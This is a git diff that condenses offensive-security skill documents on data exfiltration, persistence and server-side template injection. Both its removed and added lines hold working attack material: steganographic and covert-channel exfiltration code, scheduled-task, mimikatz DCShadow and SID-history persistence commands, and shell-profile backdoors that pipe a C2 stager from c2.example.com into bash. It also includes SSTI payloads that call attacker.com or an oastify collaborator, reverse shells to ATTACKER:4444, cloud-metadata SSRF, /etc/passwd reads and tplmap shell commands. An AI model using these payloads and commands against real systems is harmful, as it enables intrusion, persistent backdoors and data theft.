- new_pixel.append((channel & 0xFE) | int(bits[bit_idx]))
- bit_idx += 1
- else:
- new_pixel.append(channel)
- if len(pixel) == 4:
- new_pixel.append(pixel[3])
- new_pixels.append(tuple(new_pixel))
-
- img.putdata(new_pixels)
- img.save(output_path)
-
-data = open('loot.enc', 'rb').read()
-embed_lsb('cover.png', data, 'innocent.png')
-"
```
+For PNG files, LSB encoding replaces the least significant bit of each color
+channel with one bit of your data. Use PIL/Pillow to iterate pixels, apply
+`(channel & 0xFE) | data_bit` per channel, and save. The image appears
+visually identical but carries embedded data.
+
```bash
# Embed data in image EXIF metadata
exiftool -Comment="$(base64 loot.enc)" cover_image.jpg
@@ -539,24 +473,10 @@ def exfil_timing(data, target_ip, target_port, bit_0_delay=0.1, bit_1_delay=0.5)
time.sleep(bit_1_delay)
```
-```python
-# Encode data in TCP/IP header fields
-from scapy.all import IP, TCP, send
-
-def exfil_ipid(data, target_ip, target_port):
- """Encode bytes in IP Identification field."""
- for byte in data:
- pkt = IP(dst=target_ip, id=byte) / TCP(dport=target_port, flags='S')
- send(pkt, verbose=False)
-
-def exfil_tcp_seq(data, target_ip, target_port):
- """Encode 4 bytes at a time in TCP sequence numbers."""
- for i in range(0, len(data), 4):
- chunk = data[i:i+4].ljust(4, b'\x00')
- seq_num = int.from_bytes(chunk, 'big')
- pkt = IP(dst=target_ip) / TCP(dport=target_port, seq=seq_num, flags='S')
- send(pkt, verbose=False)
-```
+You can also encode data in protocol header fields that are not normally
+inspected: the IP Identification field (1 byte per packet), TCP sequence
+numbers (4 bytes per SYN), or TCP urgent pointer. Use scapy to craft
+packets with `IP(dst=target, id=byte_val) / TCP(dport=port, flags='S')`.
OPSEC note: Timing channels are extremely slow (bits per second) but nearly
impossible to detect without specialized analysis. Use them only when no
@@ -594,29 +514,7 @@ done
# Photograph the QR codes with a mobile device camera
```
-```python
-# QR code generation for data exfiltration
-import qrcode
-import base64
-import os
-
-def generate_qr_exfil(filepath, output_dir, max_bytes=2000):
- """Generate a series of QR codes encoding a file."""
- with open(filepath, 'rb') as f:
- data = f.read()
-
- encoded = base64.b64encode(data).decode()
- os.makedirs(output_dir, exist_ok=True)
-
- total_chunks = (len(encoded) + max_bytes - 1) // max_bytes
- for i in range(0, len(encoded), max_bytes):
- chunk_num = i // max_bytes
- chunk = encoded[i:i+max_bytes]
- # Include metadata for reassembly
- payload = f"{chunk_num}:{total_chunks}:{chunk}"
- qr = qrcode.make(payload)
- qr.save(os.path.join(output_dir, f"qr_{chunk_num:04d}.png"))
-```
+For programmatic QR generation, use the `qrcode` Python library with `{seq}:{total}:{data}` prefixes for reassembly.
OPSEC note: Physical exfiltration requires physical access and carries the
risk of discovery by personnel. USB usage may be logged by endpoint DLP
diff --git a/Skills/post-exploitation/offensive-persistence/SKILL.md b/Skills/post-exploitation/offensive-persistence/SKILL.md
index 649db4c..17080d0 100644
--- a/Skills/post-exploitation/offensive-persistence/SKILL.md
+++ b/Skills/post-exploitation/offensive-persistence/SKILL.md
@@ -91,15 +91,7 @@ schtasks /create /tn "CacheCleanup" /tr "powershell -ep bypass -w hidden -f C:\U
schtasks /create /tn "OneDriveSync" /tr "C:\Users\Public\payload.exe" /sc onlogon /f
```
-Using SharPersist:
-
-```powershell
-# Add scheduled task persistence
-SharPersist.exe -t schtask -c "C:\Windows\Temp\svc.exe" -a "" -n "SecurityScan" -m add -o logon
-
-# Remove during cleanup
-SharPersist.exe -t schtask -n "SecurityScan" -m remove
-```
+SharPersist alternative: `SharPersist.exe -t schtask -c "C:\Windows\Temp\svc.exe" -n "SecurityScan" -m add -o logon`
Using PowerShell for more control:
@@ -298,26 +290,15 @@ Add-DomainObjectAcl -TargetIdentity "CN=AdminSDHolder,CN=System,DC=corp,DC=local
# The backdooruser will gain full control over Domain Admins, Enterprise Admins, etc.
```
-### DCShadow
+### DCShadow and SID History Injection
```powershell
-# DCShadow registers a rogue DC and pushes replication changes
-# Terminal 1: start the rogue DC (requires DA)
-lsadump::dcshadow /object:targetuser /attribute:SIDHistory /value:S-1-5-21-XXXXXXXXXX-500
-
-# Terminal 2: push the changes
-lsadump::dcshadow /push
-```
+# DCShadow: register rogue DC and push replication changes (requires DA)
+# Terminal 1: lsadump::dcshadow /object:targetuser /attribute:SIDHistory /value:S-1-5-21-XXXXXXXXXX-500
+# Terminal 2: lsadump::dcshadow /push
-### SID History Injection
-
-```powershell
-# Add Domain Admin SID to a regular user's SID history
-# Using mimikatz (requires DC access)
+# SID History: add DA SID to a regular user (requires DC access)
sid::add /sam:backdooruser /new:S-1-5-21-XXXXXXXXXX-512
-
-# Using PowerView
-Set-DomainObject -Identity backdooruser -Set @{'SIDHistory'='S-1-5-21-XXXXXXXXXX-512'}
```
OPSEC note: Golden tickets have a default 10-year validity. Defenders detect
@@ -417,17 +398,11 @@ systemctl restart sshd
### Shell Profile Backdoors
```bash
-# Backdoor .bashrc (executes on every interactive shell)
+# Backdoor .bashrc (every interactive shell) or .bash_profile (login shell)
echo 'nohup /opt/.cache/beacon.sh &>/dev/null &' >> ~/.bashrc
-
-# Backdoor .bash_profile (executes on login shell)
echo '(curl -s https://c2.example.com/stager | bash &) 2>/dev/null' >> ~/.bash_profile
-
-# Backdoor /etc/profile (affects all users, requires root)
+# /etc/profile affects all users (requires root)
echo 'test $(id -u) -eq 0 && nohup /opt/.cache/beacon.sh &>/dev/null &' >> /etc/profile
-
-# Environment variable LD_PRELOAD via profile
-echo 'export LD_PRELOAD=/lib/x86_64-linux-gnu/.libsec.so' >> /etc/environment
```
### PAM Backdoor
diff --git a/Skills/web/offensive-ssti/SKILL.md b/Skills/web/offensive-ssti/SKILL.md
index 0733743..6745e23 100644
--- a/Skills/web/offensive-ssti/SKILL.md
+++ b/Skills/web/offensive-ssti/SKILL.md
@@ -109,21 +109,16 @@ When output is not reflected (email templates, PDF generation, background jobs),
out-of-band and time-based techniques.
```text
-# Time-based (Jinja2) - cause a measurable delay
-{{range(99999999)|join}}
+# Time-based: cause a measurable delay
+{{range(99999999)|join}} # Jinja2
+${T(java.lang.Thread).sleep(5000)} # Freemarker/Thymeleaf
-# Time-based (Freemarker) - Thread.sleep
-${T(java.lang.Thread).sleep(5000)}
+# OOB DNS/HTTP exfiltration
+{{''.__class__.__mro__[1].__subclasses__()[XXX]('nslookup COLLAB.oastify.com',shell=True,stdout=-1).communicate()}}
+{{'/usr/bin/curl http://COLLAB.oastify.com/'|filter('system')}}
-# OOB DNS exfiltration (Jinja2)
-{{''.__class__.__mro__[1].__subclasses__()[XXX]('nslookup burpcollaborator.net',shell=True,stdout=-1).communicate()}}
-
-# OOB HTTP (Twig with curl)
-{{'/usr/bin/curl http://attacker.com/'|filter('system')}}
-
-# Error inference - inject invalid syntax and check for behavioral differences
-# If {{7*7}} and {{7*'INVALID are handled differently (error page vs. normal page),
-# the engine is processing the input even without visible output
+# Error inference: compare responses for {{7*7}} vs {{7*'INVALID}}
+# Different behavior (error page vs normal) confirms engine processing
```
---
@@ -370,33 +365,19 @@ Handlebars is logic-less by design, but prototype pollution or unsafe helpers cr
RCE paths.
```javascript
-// Prototype pollution to RCE (requires a prototype pollution gadget)
+// Prototype pollution to RCE (requires a pollution gadget)
{{#with "s" as |string|}}
- {{#with "e"}}
- {{#with split as |conslist|}}
- {{this.pop}}
- {{this.push (lookup string.sub "constructor")}}
- {{this.pop}}
- {{#with string.split as |codelist|}}
- {{this.pop}}
- {{this.push "return require('child_process').execSync('id')"}}
- {{this.pop}}
- {{#each conslist}}
- {{#with (string.sub.apply 0 codelist)}}
- {{this}}
- {{/with}}
- {{/each}}
- {{/with}}
+ {{#with "e"}}{{#with split as |conslist|}}
+ {{this.pop}}{{this.push (lookup string.sub "constructor")}}{{this.pop}}
+ {{#with string.split as |codelist|}}
+ {{this.pop}}{{this.push "return require('child_process').execSync('id')"}}{{this.pop}}
+ {{#each conslist}}{{#with (string.sub.apply 0 codelist)}}{{this}}{{/with}}{{/each}}
{{/with}}
- {{/with}}
+ {{/with}}{{/with}}
{{/with}}
-// Via unsafe custom helpers (if registered)
-{{execute "id"}}
-
-// Information disclosure
-{{this}}
-{{@root}}
+// Via unsafe custom helpers: {{execute "id"}}
+// Info disclosure: {{this}}, {{@root}}
```
---
@@ -495,167 +476,68 @@ When characters like `.`, `_`, `[`, or `'` are filtered, use alternative access
## Modern Framework Exploitation
-### Flask / Jinja2 (Python)
-
-```python
-# Flask debug mode - check for Werkzeug debugger console
-# GET /__debugger__?__debugger__=yes&cmd=__import__('os').popen('id').read()&frm=0&s=SECRET
-
-# Flask config secrets
-{{ config.SECRET_KEY }}
-{{ config['SQLALCHEMY_DATABASE_URI'] }}
-
-# Django templates (limited by design - no arbitrary code execution)
-# But information disclosure is possible
-{{ settings.SECRET_KEY }} # If debug=True
-{% debug %} # Dumps context variables
-{{ request.META }} # Server environment
-```
-
-### Spring Boot / Thymeleaf (Java)
-
-```java
-// Path-based SSTI in Spring Boot (CVE-2020-27386 pattern)
-// Controller returns user input as view name
-// GET /path/__${T(java.lang.Runtime).getRuntime().exec('id')}__::.x
-
-// SpEL injection via @Value or th:text
-// If user input reaches a SpEL expression context:
-${T(java.lang.Runtime).getRuntime().exec(
- new String[]{'bash','-c','curl http://attacker.com/$(whoami)'}
-)}
-
-// Accessing Spring beans
-${@beanName.methodName()}
-${@environment.getProperty('spring.datasource.url')}
-
-// Bypassing SpEL restrictions
-${T(Character).toString(105).concat(T(Character).toString(100))} # builds "id"
-```
-
-### Express / EJS / Pug (Node.js)
-
-```javascript
-// EJS - when user input reaches template compilation
-<%= global.process.mainModule.require('child_process').execSync('id').toString() %>
-
-// EJS - via constructor chain
-<%= this.constructor.constructor('return process.mainModule.require("child_process").execSync("id").toString()')() %>
-
-// Pug/Jade - code injection
-- var x = global.process.mainModule.require('child_process').execSync('id').toString()
-p= x
+Framework-specific notes supplement the engine-specific payloads above.
-// Nunjucks - reaching require through global
-{{range.constructor("return global.process.mainModule.require('child_process').execSync('id').toString()")()}}
-```
+```text
+FRAMEWORK ENGINE NOTES
+------------------------------------------------------------------------
+Flask (Python) Jinja2 Check for Werkzeug debugger at /__debugger__
+ Secrets: {{config.SECRET_KEY}}, {{config['SQLALCHEMY_DATABASE_URI']}}
-### Rails / ERB (Ruby)
+Django (Python) Django DTL Limited by design: no arbitrary code exec
+ Info disclosure: {%debug%}, {{request.META}}
-```ruby
-# Standard ERB injection
-<%= `id` %>
-<%= system('id') %>
+Spring Boot (Java) Thymeleaf/SpEL Path-based SSTI: /path/__${PAYLOAD}__::.x
+ Bean access: ${@environment.getProperty('spring.datasource.url')}
+ SpEL bypass: ${T(Character).toString(105).concat(T(Character).toString(100))}
-# Via Object#send for filter bypass
-<%= ''.class.class.methods.grep(/new/).first %>
-<%= Kernel.send(:system, 'id') %>
+Express (Node.js) EJS/Pug EJS: <%=this.constructor.constructor('return process...')()%>
+ Pug: - var x = global.process.mainModule.require(...)
+ Nunjucks: {{range.constructor("return ...")()}}
-# Accessing Rails secrets
-<%= Rails.application.credentials.secret_key_base %>
-<%= Rails.application.secrets %>
+Rails (Ruby) ERB Direct exec: <%=system('CMD')%> or <%=`CMD`%>
+ Secrets: <%=Rails.application.credentials.secret_key_base%>
```
---
## Chaining SSTI to Higher Impact
-### SSTI to SSRF
-
-Use template engine capabilities to make server-side HTTP requests, reaching internal
-services and cloud metadata endpoints.
+SSTI chains to SSRF, file read, and full RCE depending on the engine and available
+classes. Use these cross-engine patterns.
-```python
-# Jinja2 - SSRF via urllib (if available in subclasses)
-{{ ''.__class__.__mro__[1].__subclasses__()[INDEX]('http://169.254.169.254/latest/meta-data/iam/security-credentials/').read() }}
-
-# Twig - SSRF via file_get_contents
-{{ '/proc/net/tcp'|file_excerpt(1,100) }}
-
-# Freemarker - SSRF via URL include
-<#include "http://169.254.169.254/latest/meta-data/">
-
-# Thymeleaf/SpEL - SSRF via URL class
-${T(java.net.URI).create('http://169.254.169.254/latest/meta-data/').toURL().openStream()}
-```
-
-### SSTI to File Read
-
-```python
-# Jinja2 - read files via file subclass
-{{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }}
-
-# Freemarker - include directive
-<#include "/etc/passwd">
-
-# ERB - File.read
-<%= File.read('/etc/passwd') %>
-
-# Mako - direct open
-<% print(open('/etc/passwd').read()) %>
-```
-
-### SSTI to Full RCE
-
-Once you have code execution through any engine, escalate to a proper reverse shell
-for interactive access.
+```text
+CHAIN JINJA2 TWIG FREEMARKER THYMELEAF/SpEL
+---------------------------------------------------------------------------------------------------------------------------------------
+SSRF MRO->urllib subclass-> file_excerpt('/proc/net/ <#include "http:// T(java.net.URI).create(
+ .read('http://169.254...') tcp',1,100) 169.254..."> 'http://169.254...').toURL()
-```bash
-# Generate a reverse shell payload and deliver via SSTI
-# Jinja2 reverse shell:
-{{ self.__init__.__globals__.__builtins__.__import__('os').popen('bash -c "bash -i >& /dev/tcp/ATTACKER/4444 0>&1"').read() }}
+File Read MRO->file subclass[40]-> '/etc/passwd'| <#include "/etc/passwd"> T(java.nio.file.Files)
+ .read('/etc/passwd') file_excerpt(1,100) .readAllLines(...)
-# For Java engines (Freemarker, Velocity, Pebble, Thymeleaf):
-${"freemarker.template.utility.Execute"?new()("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9BVFRBQ0tFUi80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}")}
+RCE->RevShell __import__('os').popen( ['bash -c ...']| Execute?new()("bash -c T(Runtime).getRuntime()
+ 'bash -c "bash -i >& ...") map('system') {echo,BASE64}|...") .exec(new String[]{...})
```
---
## Automated Exploitation with tplmap
-tplmap automates SSTI detection and exploitation across multiple engines. Use it for
-initial discovery, then switch to manual payloads for complex scenarios.
-
```bash
-# Basic scan
-python tplmap.py -u 'http://target.com/page?name=test'
-
-# Scan with POST data
-python tplmap.py -u 'http://target.com/page' -d 'name=test'
-
-# Scan specific parameter in URL
-python tplmap.py -u 'http://target.com/page?name=test*' # asterisk marks injection point
-
-# Force a specific engine
-python tplmap.py -u 'http://target.com/page?name=test' -e jinja2
-
-# Execute OS commands
+# tplmap - detect and exploit across engines
+python tplmap.py -u 'http://target.com/page?name=test' # basic scan
+python tplmap.py -u 'http://target.com/page' -d 'name=test' # POST data
+python tplmap.py -u 'http://target.com/page?name=test' -e jinja2 # force engine
python tplmap.py -u 'http://target.com/page?name=test' --os-cmd 'id'
-
-# Spawn an interactive shell
python tplmap.py -u 'http://target.com/page?name=test' --os-shell
+python tplmap.py -u 'http://target.com/page?name=test' --download /etc/passwd ./out
-# File read / write
-python tplmap.py -u 'http://target.com/page?name=test' --download /etc/passwd ./passwd
-python tplmap.py -u 'http://target.com/page?name=test' --upload ./shell.php /var/www/html/shell.php
-
-# SSTImap (maintained fork with additional engines)
-python3 sstimap.py -u 'http://target.com/page?name=test' -s # scan mode
+# SSTImap (maintained fork)
+python3 sstimap.py -u 'http://target.com/page?name=test' -s # scan
python3 sstimap.py -u 'http://target.com/page?name=test' -S # interactive shell
# TInjA (template injection analyzer)
tinja url -u 'http://target.com/page?name=test'
-tinja url -u 'http://target.com/page?name=test' -e jinja2 --cmd 'id'
```
---